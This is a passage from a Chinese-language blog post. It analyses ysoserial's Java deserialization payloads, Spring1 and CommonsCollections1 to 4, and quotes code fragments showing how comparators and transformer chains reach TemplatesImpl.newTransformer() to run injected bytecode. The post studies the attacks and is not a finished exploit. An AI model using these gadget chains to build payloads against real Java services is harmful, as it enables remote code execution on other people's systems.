<pre class="brush:java;">#!java        typeTemplatesProxy对象.invoke()     method.invoke(objectFactoryProxy对象.getObject(), args);        objectFactoryProxy对象.getObject()            AnnotationInvocationHandler.invoke()                HashMap.get("getObject")//返回templates对象        Method.invoke(templates对象,args)        TemplatesImpl.newTransformer()        .......//触发加载含有恶意java字节码的操做</pre>
<p>这里面是对象之间的调用,还有动态代理机制,容易绕晕,就说到这里。有兴趣能够单步调试看看。</p>
<p>我的总结:</p>
Spring1为了强行代理Type接口,进行对象赋值。运用了多个动态代理机制实现,仍是很巧妙的。 5. CommonsCollections
<p>对CommonsCollections类,ysoserial工具中存在四种利用方法。所用的方法都是与上面几个payload相似。</p>
CommonsCollections1天然是使用了LazyMap和动态代理机制进行触发调用Transformer执行链,请参考连接2。
<p>CommonsCollections2和CommonsBeanutilsCollectionsLogging1同样也使用了比较器去触发TemplatesImpl的newTransformer方法执行命令。<br>
这里用到的比较器为TransformingComparator,直接看其compare方法:</p>
<pre class="brush:java;">#!javapublic int compare(final I obj1, final I obj2) {    final O value1 = this.transformer.transform(obj1);    final O value2 = this.transformer.transform(obj2);    return this.decorated.compare(value1, value2);}</pre>
<p>很直接调用了transformer.transform(obj1),这里的obj1就是payload中的templates对象。<br>
主要代码为:</p>
<pre class="brush:java;">#!java// mock method name until armedfinal InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2,new TransformingComparator(transformer));     .........// switch method called by comparatorReflections.setFieldValue(transformer, "iMethodName", "newTransformer");//使用反射机制改变私有变量~ 否则,会在以前就执行命令,没法生成序列化数据。//反序列化时,会调用TemplatesImpl的newTransformer方法。</object></object></pre>
<p>根据熟悉的InvokerTransformer做用,最终会调用templates.newTransformer()执行恶意java代码。</p>
<p>CommonsCollections3是CommonsCollections1的变种,将执行链换了下:</p>
<pre class="brush:java;">#!javaTemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);.............// real chain for after setupfinal Transformer[] transformers = new Transformer[] {        new ConstantTransformer(TrAXFilter.class),        new InstantiateTransformer(                new Class[] { Templates.class },                new Object[] { templatesImpl } )};  </pre>
<p>查看InstantiateTransformer的transform方法,能够看到关键代码:</p>
<pre class="brush:java;">#!javaConstructor con = ((Class) input).getConstructor(iParamTypes);  //input为TrAXFilter.classreturn con.newInstance(iArgs);</pre>
<p>即:transformer执行链会执行new TrAXFilter(templatesImpl)。正好,TrAXFilter类构造函数中调用了templates.newTransformer()方法。都是套路啊。</p>
<pre class="brush:java;">#!javapublic TrAXFilter(Templates templates)  throws TransformerConfigurationException{    _templates = templates;    _transformer = (TransformerImpl) templates.newTransformer();//触发执行命令    _transformerHandler = new TransformerHandlerImpl(_transformer);    _useServicesMechanism = _transformer.useServicesMechnism();}</pre>
<p>CommonsCollections4是CommonsCollections2的变种。一样使用InstantiateTransformer触发templates.newTransformer()代替了以前的执行链。</p>
<pre class="brush:java;">#!javaTemplatesImpl templates = Gadgets.createTemplatesImpl(command);...............// grab defensively copied arraysparamTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");..............// swap in values to armReflections.setFieldValue(constant, "iConstant", TrAXFilter.class);paramTypes[0] = Templates.class;args[0] = templates;...................</pre>
<p>照例生成PriorityQueue<object>queue后,使用反射机制对其属性进行修改。保证成功生成payload。</object></p>
<p>我的总结:payload分析完了,里面涉及的方法很巧妙。也有许多共同的利用特性,值得学习~~</p>
</string,></k,v></size;>
相关文章
相关标签/搜索